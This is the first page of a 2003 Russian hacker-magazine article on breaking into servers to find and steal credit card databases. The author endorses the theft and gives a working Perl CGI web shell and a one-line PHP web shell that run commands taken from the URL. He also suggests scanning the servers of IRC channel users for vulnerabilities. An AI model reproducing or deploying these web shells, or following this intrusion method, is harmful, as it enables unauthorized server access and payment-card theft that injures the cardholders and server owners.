Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #36, НОЯБРЬ 2003 г.

Найди и поимей!

Докучаев Дмитрий aka Forb

Спецвыпуск Xakep, номер #036, стр. 036-090-1


(forb@real.xakep.ru)

Поиск кредиток на буржуйских машинах

Кредитка - вещь необходимая. Особенно когда срочно нужно купить какую-либо электронную продукцию (шелл, домен и прочее). Что же делает хакер в случае такой необходимости? В большинстве случаев лезет на буржуйские трейдерские каналы и просит у добрых дяденек креду для теста (обычно его или посылают, или дают просроченную карту из базы 1990г.). Все, наверное, знают пословицу: "Чем просить и унижаться, лучше <censored> и молчать". Так вот, я думаю, если утащить пару-тройку кредитных баз у этих самых буржуев, они не сильно обидятся, потому как сами при удобном случае крадут карты у невинных людей.

У нас свои методы...

Прежде чем приступить к поиску баз с кредитками, необходимо получить какой-либо доступ к серверу, где, собственно, эти базы находятся. Это можно сделать несколькими методами. С этого и начнется взлом, поэтому для хакера очень важно понимать поставленную задачу и уметь проникать на удаленный сервер.

Самое легкое - это зарегиться на фриварном хостинге с FTP-доступом с поддержкой CGI либо PHP (зачем это нужно, я расскажу ниже). Плюсы данного метода очевидны: легкий поиск жертвы, никакого риска при этом, а также полная уверенность, что креды находятся именно на этом сервере (либо в сегменте). Минусы также имеются: за регистрацию придется выложить несколько зеленых президентов, либо расплатиться кредиткой (око за око, креда за креды ;)).

Если все сделано правильно и хостинг куплен, пришло время заняться нехорошим делом... то бишь проникновением в чужую собственность. У хакера имеются два варианта: либо сервер поддерживает cgi-скрипты, либо php. В первом случае пишется маленький perl-сценарий, который должен быть помещен на сервер в ASCII-режиме.

#!/usr/bin/perl

$cmd=$ENV{QUERY_STRING}; ## Команда будет задаваться через QUERY_STRING

$cmd=~s/%20/ /g; ## Замена уникод-символа %20 на пробел

$cmd=`$cmd`; ## Выполнение команды

print "Content-type: text/html\n\n"; ## Вывод заголовка

print "<pre>$cmd</pre>"; ## И результата команды

Этот скрипт должен иметь права 755, только в этом случае он сможет выполниться.

В случае с PHP все намного проще. Скрипт вообще можно записать в одну строку:

<?passthru($cmd);?>

Разница с Perl лишь в способе задания команды. Теперь QUERY_STRING должна иметь вид: ?cmd=команда.

Зачем все это нужно? Во всех случаях хакер владеет простым nobody-шеллом. То есть существует возможность выполнения команд через браузер. Это, конечно, хорошо, но рациональнее бы было открыть порт, при коннекте на который запускается shell-интерпретатор. Таких бэкдоров в инете полно, принципы их работы не раз описывались на страницах СПЕЦа и Хакера.

Я назвал далеко не все методы нахождения жертвы. Обнаружить сервак, за которым хранятся огромные базы с кредитками, можно... через IRC. Суть заключается в следующем: взломщик заходит на канал буржуйских трейдеров, делает /WHOIS каждого сидящего и сканит его сервер на уязвимости. Если учитывать, что на таких каналах сидят 200-300 человек, то вероятность взломать какого-нибудь зазевавшегося буржуя довольно высока.

Содержание  Вперед на стр. 036-090-2